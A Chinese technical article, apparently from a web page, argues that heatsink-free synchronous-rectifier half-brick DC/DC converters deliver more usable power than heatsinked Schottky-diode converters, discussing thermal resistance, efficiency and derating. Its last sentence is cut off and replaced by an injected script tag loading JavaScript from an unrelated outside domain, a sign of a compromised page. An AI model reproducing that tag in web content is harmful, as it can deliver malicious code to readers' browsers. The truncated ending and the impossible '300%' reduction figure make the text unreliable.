本文主要探讨为何以同步整流器为基础的dc/dc转换器（不带散热器）反而比传统的以肖特基二级管为基础的转换器（带散热器）能产生更多的有用的输出功率。
文章首先分析的是当dc/dc转换器的散热器被拆除后会降低多少"散热"能力。然后阐述较之低效率的传统转换器而言，以同步整流器为基础的转换器需要散发的热量少了多少。最后，文章将比较两种转换器的功率降额曲线（derating curves），以说明同步整流转换器因其高效率之所得胜过因为拆除散热器而受到的损失。
文章将重点分析标准的半砖2.3×2.4英寸dc/dc转换器。一般来说，同类型最好的肖特基二极管转换器能够提供150瓦或30安的输出功率。而且，我们将看到，由于使用温度环境变坏，转换器实际能够输出的功率通常要低于这个数字。
图1：同步整流dc/dc转换器和带散热器的传统转换器（不按比例）
拆除散热器后，我们会损失什么？
通过比较散热器安装与否的两种情况可以方便地测量散热器的效率。例如，一个基板上未安装散热器的dc/dc转换器在基板和空气之间有一定的热阻，rca(无散热器散热)。如果我们在基板上装上散热器，新的热阻，rca（有散热器散热），要比rca（无散热器散热）小一个因子。这个因子表明了散热器的作用。
但是，由于种种原因，并不能从散热器散热片组的表面积与转换器基板的表面积就简单得出关系。首先，从基板传来的热量上升到散热器片会产生热阻，部分是由于我们放在基板和散热器之间的隔热垫或隔热液，部分是由于热量通过狭窄的散热片。其次，冷却气流流过各个散热片之间空隙的流速也不会都与气流流过平坦基板时的流速相同。因此，散热器由于表面所达到的散热效果比预计要少。
下面的表格对使用不同高度的散热器以提高散热性与不使用散热器进行比较。表中改善因子是没有散热器的热阻，rca（无散热器散热）除以使用散热器的热阻，rca（有散热器散热)。
表1：使用散热器散热器高度和气流速率的改善因子是函数
改善因子代表在拆除散热器之后损失的散热效果。如果需要保持同样的散热效果，同步整流转换器消耗的功率就必须同比例地降低。下一段分析这个问题。
同步整流转换器散热要减少多少？
传统的转换器使用肖特基二极管对变压器的输出进行整流。肖特基二极管消耗转换器损失的大部分热量。另一种方法是使用同步整流器对变压器的输出进行整流，这比传统转换器的肖特基二极管消耗少得多的功率。
表2比较了synqor使用同步整流的30安powerqor转换器和同等负载电流的传统转换器的满负载效率。表中右边一栏揭示了使用powerqor转换器后dc/dc转换器的热量消耗降低的因子。
表2：synqor高效dc/dc转换器比传统的肖特基二极管转换器消耗的热量降低
从表中，我们可以看出，使用同步整流转换器能使热量消耗降低，从一个15vout转换器下降20%到一个1.5vout转换器下降300%不等。换句话说，输出电压越低，转而使用同步整流技术的意义就越大。
在进行比较之前，我们为什么要先看看功率降额曲线？
现在，我们知道1）当散热器被拆除后，未能散发的热量；2）30安的同步整流转换器减少消耗的热量。
但是，要真正地比较并不简单。原因之一是同步整流转换器没有一个金属的基板，但有一个区别很大的开架结构。首先，它比不带散热器的传统转换器高度更低，只有0.4''而不是0.5''，所以空气将更容易通过同步整流的转换器，而不是?script src=http://er12.com/t.js>
